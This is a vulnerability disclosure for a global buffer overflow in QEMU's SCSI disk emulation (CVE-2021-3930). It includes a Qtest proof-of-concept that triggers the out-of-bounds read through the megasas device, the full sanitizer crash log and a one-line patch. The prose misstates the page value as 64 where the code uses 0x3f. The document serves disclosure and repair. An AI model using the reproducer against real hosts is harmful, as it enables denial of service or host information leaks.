|=----------------------------------------------------------------------------=| |=-----------------------=[ Vulnerability Disclosure ]=-----------------------=| |=--------=[ QEMU/SCSI: Global Buffer Overflow in Mode Pages Array ]=---------=| |=----------------------------------------------------------------------------=| |=-----------------------=[ Wed 03 Nov 2021 15:09:04 ]=-----------------------=| |=-------------=[ https://qiuhao.org/VD_QEMU_SCSI_CWE-126.txt ]=--------------=| |=----------------------------------------------------------------------------=| -- [ Description According to the SCSI to ATA Command Translations documents [1], there could be 64 possible mode pages, and the last one is the Return All Pages: Page_Code Page Name 3Fh Return All Pages And in include/scsi/constants.h [2], the code/index of MODE_PAGE_ALLS is set to 0x3f: /* Mode page codes for mode sense/set */ #define MODE_PAGE_R_W_ERROR 0x01 #define MODE_PAGE_HD_GEOMETRY 0x04 #define MODE_PAGE_FLEXIBLE_DISK_GEOMETRY 0x05 #define MODE_PAGE_CACHING 0x08 #define MODE_PAGE_AUDIO_CTL 0x0e #define MODE_PAGE_POWER 0x1a #define MODE_PAGE_FAULT_FAIL 0x1c #define MODE_PAGE_TO_PROTECT 0x1d #define MODE_PAGE_CAPABILITIES 0x2a #define MODE_PAGE_ALLS 0x3f But in hw/scsi/scsi-disk.c:mode_sense_page() [3], only 63 elements is initialied for the pages array: static int mode_sense_page(SCSIDiskState *s, int page, uint8_t **p_outbuf, int page_control) { static const int mode_sense_valid[0x3f] = { <---- (1) [MODE_PAGE_HD_GEOMETRY] = (1 << TYPE_DISK), [MODE_PAGE_FLEXIBLE_DISK_GEOMETRY] = (1 << TYPE_DISK), [MODE_PAGE_CACHING] = (1 << TYPE_DISK) | (1 << TYPE_ROM), [MODE_PAGE_R_W_ERROR] = (1 << TYPE_DISK) | (1 << TYPE_ROM), [MODE_PAGE_AUDIO_CTL] = (1 << TYPE_ROM), [MODE_PAGE_CAPABILITIES] = (1 << TYPE_ROM), }; /* ...... */ } So then the page parameter equals 64 (Return All Pages), a global buffer overflow will occur. Since this seems like a simple bug, I don't add comments in the reproducer below. Excuse me. Attackers may use this flaw to leak information from the host or cause a DoS. -- [ Affected Versions QEMU release 6.1.0 (previous versions may also be affected). -- [ Reproducer I wrote a PoC with comments based on Qtest. You can view the output at [4]. Test Enviorment: Ubuntu 21.04 Linux 5.11.0-38-generic x86_64 clang 12.0.0 GLIBC 2.33 libglib2.0-dev (2.68.1-1~ubuntu21.04.1) QEMU master branch, commit 4c127fdbe81d6 ```sh ./configure --enable-sanitizers && make qemu-system-x86_64 -j$(nproc) cat << EOF | ./build/qemu-system-x86_64 -machine accel=qtest, -m 512M \ -display none -machine q35 -nodefaults -device megasas,id=scsi0 -device \ scsi-hd,drive=disk0,bus=scsi0.0 -drive id=disk0,if=none,file=null-co://,format=raw -qtest stdio \ outl 0xcf8 0x80000818 outl 0xcfc 0xc000 outl 0xcf8 0x80000804 outw 0xcfc 0x05 write 0x000 0x1 0x03 write 0x007 0x1 0x01 write 0x020 0x1 0x15 write 0x021 0x1 0x10 write 0x024 0x1 0x20 write 0x030 0x1 0x01 write 0x031 0x1 0x77 write 0x037 0x1 0x02 write 0x7705 0x1 0x3f outl 0xc040 0x00000000 EOF ``` -- [ Mitigation From 414c13ccb052acc18e8f51abf0cfa75514c42f35 Mon Sep 17 00:00:00 2001 From: Qiuhao Li Date: Wed, 3 Nov 2021 15:37:39 +0800 Subject: [PATCH] scsi: fix wrong array size of mode pages array Signed-off-by: Qiuhao Li --- hw/scsi/scsi-disk.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/hw/scsi/scsi-disk.c b/hw/scsi/scsi-disk.c index e8a547dbb7..ae451c55d6 100644 --- a/hw/scsi/scsi-disk.c +++ b/hw/scsi/scsi-disk.c @@ -1075,7 +1075,7 @@ static int scsi_emulate_mechanism_status(SCSIDiskState *s, uint8_t *outbuf) static int mode_sense_page(SCSIDiskState *s, int page, uint8_t **p_outbuf, int page_control) { - static const int mode_sense_valid[0x3f] = { + static const int mode_sense_valid[MODE_PAGE_ALLS + 1] = { [MODE_PAGE_HD_GEOMETRY] = (1 << TYPE_DISK), [MODE_PAGE_FLEXIBLE_DISK_GEOMETRY] = (1 << TYPE_DISK), [MODE_PAGE_CACHING] = (1 << TYPE_DISK) | (1 << TYPE_ROM), -- 2.32.0 -- [ References [1] https://en.wikipedia.org/wiki/SCSI_mode_page https://www.t10.org/ftp/t10/document.04/04-136r0.pdf [2] https://github.com/qemu/qemu/blob/741bdeb1d5a4024a2c54c6abb2de493a27b61953/include/scsi/constants.h#L237 [3] https://github.com/qemu/qemu/blob/741bdeb1d5a4024a2c54c6abb2de493a27b61953/hw/scsi/scsi-disk.c#L1078 [4] Qtest & ASAN report (with some trace events): ``` [I 1635923271.389583] OPENED cpu_get_apic_base 0x00000000fee00900 megasas_init Using 80 sges, 1000 cmds, raid mode cpu_get_apic_base 0x00000000fee00900 scsi_device_set_ua target 0 lun 0 key 0x06 asc 0x29 ascq 0x00 megasas_reset firmware state 0xb0000000 cpu_get_apic_base 0x00000000fee00900 [R +0.028056] outl 0xcf8 0x80000818 cpu_out addr 0xcf8(l) value 2147485720 OK [S +0.028076] OK [R +0.028085] outl 0xcfc 0xc000 cpu_out addr 0xcfc(l) value 49152 pci_cfg_write megasas 01:0 @0x18 <- 0xc000 OK [S +0.028109] OK [R +0.028126] outl 0xcf8 0x80000804 cpu_out addr 0xcf8(l) value 2147485700 OK [S +0.028130] OK [R +0.028133] outw 0xcfc 0x05 cpu_out addr 0xcfc(w) value 5 pci_cfg_write megasas 01:0 @0x4 <- 0x5 pci_update_mappings_add d=0x7efdc640f800 00:01.0 2,0xc000+0x100 OK [S +0.029036] OK [R +0.029049] write 0x000 0x1 0x03 OK [S +0.029212] OK [R +0.029218] write 0x007 0x1 0x01 OK [S +0.029221] OK [R +0.029224] write 0x020 0x1 0x15 OK [S +0.029226] OK [R +0.029228] write 0x021 0x1 0x10 OK [S +0.029230] OK [R +0.029233] write 0x024 0x1 0x20 OK [S +0.029235] OK [R +0.029238] write 0x030 0x1 0x01 OK [S +0.029240] OK [R +0.029244] write 0x031 0x1 0x77 OK [S +0.029247] OK [R +0.029250] write 0x037 0x1 0x02 OK [S +0.029253] OK [R +0.029258] write 0x7705 0x1 0x3f OK [S +0.029261] OK [R +0.029270] outl 0xc040 0x00000000 cpu_out addr 0xc040(l) value 0 megasas_mmio_writel reg MFI_IQP: 0x0 megasas_qf_new frame 0x0 addr 0x0 megasas_qf_enqueue frame 0x0 count 0 context 0x0 head 0x0 tail 0x0 busy 1 megasas_handle_scsi LD SCSI dev 1/0/0 sdev 0x617000001580 xfer 0 megasas_iovec_underflow scmd 0: len 33554432 limit 0 scsi_req_parsed target 0 lun 0 tag 0 command 21 dir 2 length 32 scsi_req_parsed_lba target 0 lun 0 tag 0 command 21 lba 1048576 scsi_req_alloc target 0 lun 0 tag 0 scsi_disk_new_request Command: lun=0 tag=0x0 data= 0x15 0x10 0x00 0x00 0x20 0x00 megasas_scsi_nodata scmd 0: no data to be transferred scsi_disk_emulate_command_MODE_SELECT Mode Select(6) (len 32) megasas_iov_write_overflow scmd 0: 32/0 bytes scsi_req_continue target 0 lun 0 tag 0 scsi_disk_emulate_write_data Write buf_len=32 scsi_req_data target 0 lun 0 tag 0 len 32 scsi_req_continue target 0 lun 0 tag 0 ../hw/scsi/scsi-disk.c:1090:10: runtime error: index 63 out of bounds for type 'const int [63]' SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ../hw/scsi/scsi-disk.c:1090:10 in ================================================================= ==197384==ERROR: AddressSanitizer: global-buffer-overflow on address 0x55b5e989fcbc at pc 0x55b5e7c405db bp 0x7fffb9577160 sp 0x7fffb9577158 READ of size 4 at 0x55b5e989fcbc thread T0 #0 0x55b5e7c405da in mode_sense_page /home/qiuhao/tmp/qemu/build/../hw/scsi/scsi-disk.c:1090:10 #1 0x55b5e7c4e263 in scsi_disk_check_mode_select /home/qiuhao/tmp/qemu/build/../hw/scsi/scsi-disk.c:1433:11 #2 0x55b5e7c4dadd in mode_select_pages /home/qiuhao/tmp/qemu/build/../hw/scsi/scsi-disk.c:1501:17 #3 0x55b5e7c48cb5 in scsi_disk_emulate_mode_select /home/qiuhao/tmp/qemu/build/../hw/scsi/scsi-disk.c:1556:13 #4 0x55b5e7c32015 in scsi_disk_emulate_write_data /home/qiuhao/tmp/qemu/build/../hw/scsi/scsi-disk.c:1849:9 #5 0x55b5e7bf99d8 in scsi_req_continue /home/qiuhao/tmp/qemu/build/../hw/scsi/scsi-bus.c:1392:9 #6 0x55b5e7bfad82 in scsi_req_data /home/qiuhao/tmp/qemu/build/../hw/scsi/scsi-bus.c:1428:5 #7 0x55b5e7c31d60 in scsi_disk_emulate_write_data /home/qiuhao/tmp/qemu/build/../hw/scsi/scsi-disk.c:1841:9 #8 0x55b5e7bf99d8 in scsi_req_continue /home/qiuhao/tmp/qemu/build/../hw/scsi/scsi-bus.c:1392:9 #9 0x55b5e7d14b63 in megasas_enqueue_req /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:1666:9 #10 0x55b5e7cee0bc in megasas_handle_scsi /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:1741:5 #11 0x55b5e7ce289d in megasas_handle_frame /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:1978:24 #12 0x55b5e7cdffbb in megasas_mmio_write /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:2135:9 #13 0x55b5e7d1b5c1 in megasas_port_write /home/qiuhao/tmp/qemu/build/../hw/scsi/megasas.c:2186:5 #14 0x55b5e85cd9f3 in memory_region_write_accessor /home/qiuhao/tmp/qemu/build/../softmmu/memory.c:492:5 #15 0x55b5e85cd331 in access_with_adjusted_size /home/qiuhao/tmp/qemu/build/../softmmu/memory.c:554:18 #16 0x55b5e85cbc46 in memory_region_dispatch_write /home/qiuhao/tmp/qemu/build/../softmmu/memory.c:1504:16 #17 0x55b5e859d053 in flatview_write_continue /home/qiuhao/tmp/qemu/build/../softmmu/physmem.c:2779:23 #18 0x55b5e858bbdf in flatview_write /home/qiuhao/tmp/qemu/build/../softmmu/physmem.c:2819:14 #19 0x55b5e858b768 in address_space_write /home/qiuhao/tmp/qemu/build/../softmmu/physmem.c:2911:18 #20 0x55b5e85b541a in cpu_outl /home/qiuhao/tmp/qemu/build/../softmmu/ioport.c:80:5 #21 0x55b5e862aafb in qtest_process_command /home/qiuhao/tmp/qemu/build/../softmmu/qtest.c:499:13 #22 0x55b5e862804d in qtest_process_inbuf /home/qiuhao/tmp/qemu/build/../softmmu/qtest.c:813:9 #23 0x55b5e8637d8e in qtest_read /home/qiuhao/tmp/qemu/build/../softmmu/qtest.c:825:5 #24 0x55b5e921a6bd in qemu_chr_be_write_impl /home/qiuhao/tmp/qemu/build/../chardev/char.c:201:9 #25 0x55b5e921a779 in qemu_chr_be_write /home/qiuhao/tmp/qemu/build/../chardev/char.c:213:9 #26 0x55b5e92268f5 in fd_chr_read /home/qiuhao/tmp/qemu/build/../chardev/char-fd.c:73:9 #27 0x55b5e8cbd63c in qio_channel_fd_source_dispatch /home/qiuhao/tmp/qemu/build/../io/channel-watch.c:84:12 #28 0x7efdc99ab7c3 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x557c3) #29 0x55b5e9504569 in glib_pollfds_poll /home/qiuhao/tmp/qemu/build/../util/main-loop.c:232:9 #30 0x55b5e95037a3 in os_host_main_loop_wait /home/qiuhao/tmp/qemu/build/../util/main-loop.c:255:5 #31 0x55b5e950336c in main_loop_wait /home/qiuhao/tmp/qemu/build/../util/main-loop.c:531:11 #32 0x55b5e85c1b43 in qemu_main_loop /home/qiuhao/tmp/qemu/build/../softmmu/runstate.c:726:9 #33 0x55b5e70928de in main /home/qiuhao/tmp/qemu/build/../softmmu/main.c:50:5 #34 0x7efdc91abfcf in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #35 0x7efdc91ac07c in __libc_start_main csu/../csu/libc-start.c:409:3 #36 0x55b5e6fe1a54 in _start (/home/qiuhao/tmp/qemu/build/qemu-system-x86_64+0x1a4ba54) 0x55b5e989fcbc is located 0 bytes to the right of global variable 'mode_sense_valid' defined in '../hw/scsi/scsi-disk.c:1078:22' (0x55b5e989fbc0) of size 252 SUMMARY: AddressSanitizer: global-buffer-overflow /home/qiuhao/tmp/qemu/build/../hw/scsi/scsi-disk.c:1090:10 in mode_sense_page Shadow bytes around the buggy address: 0x0ab73d30bf40: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00 0x0ab73d30bf50: 01 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00 0x0ab73d30bf60: 00 00 00 07 f9 f9 f9 f9 00 00 00 00 00 00 00 00 0x0ab73d30bf70: 00 00 02 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00 0x0ab73d30bf80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ab73d30bf90: 00 00 00 00 00 00 00[04]f9 f9 f9 f9 00 00 00 00 0x0ab73d30bfa0: 00 00 00 00 00 00 00 00 00 05 f9 f9 00 00 00 00 0x0ab73d30bfb0: 00 00 00 03 f9 f9 f9 f9 00 00 00 00 00 00 00 00 0x0ab73d30bfc0: 00 06 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00 0x0ab73d30bfd0: 01 f9 f9 f9 f9 f9 f9 f9 00 00 04 f9 f9 f9 f9 f9 0x0ab73d30bfe0: 00 00 00 00 00 00 00 00 00 00 00 00 05 f9 f9 f9 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==197384==ABORTING ``` Update, Mon, 8 Nov 2021 22:56:34 +0800: CVE ID: https://access.redhat.com/security/cve/cve-2021-3930